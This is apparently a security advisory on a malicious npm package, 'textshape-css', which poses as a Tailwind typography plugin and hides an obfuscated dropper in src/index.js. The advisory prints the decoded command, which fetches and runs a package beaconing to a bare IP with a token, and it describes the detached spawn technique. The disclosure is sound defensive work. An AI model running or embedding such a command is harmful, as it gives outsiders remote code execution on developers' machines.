textshape-css

Details

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_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (4e596e1ea1365aadfa6c75047b664bb41b29b60828595b9271d4c2c217476b60)
The package presents itself as a Tailwind CSS typography plugin (its name, description, and source tree clone @tailwindcss/typography), but src/index.js appends an obfuscated payload that runs at module load. Char-code arrays at the bottom of src/index.js decode to `child_process`, `spawn`/`exec`, `/bin/sh`, and the command `npx -y runtimedev-link@latest --token "http://194.11.226.41:4000|zRlY7_JxvFY8_Zhhu8ih24iW_dT5Rb_9"`. A trailing `_.y();` invokes this immediately whenever any consumer does `require('textshape-css')` / `import 'textshape-css'`. On POSIX it spawns `/bin/sh -c 'nohup... >/dev/null 2>&1'` detached with stdio ignored; on Windows it goes via `child_process.exec` with `windowsHide`. The effect is to fetch and run an unpinned third-party npm package (`runtimedev-link@latest`) that beacons to a bare IP (194.11.226.41:4000) over plain HTTP with an attacker-supplied token — a remote-code-execution dropper. The package name and description are a near-verbatim typosquat of @tailwindcss/typography, targeting developers searching for that plugin.

## Source: ghsa-malware (65fa392a5abf97b05b32644b1085e63b26e3ea3e765e0cda6ab180e1593a0d95)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Compromised versions (1)

• 1.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.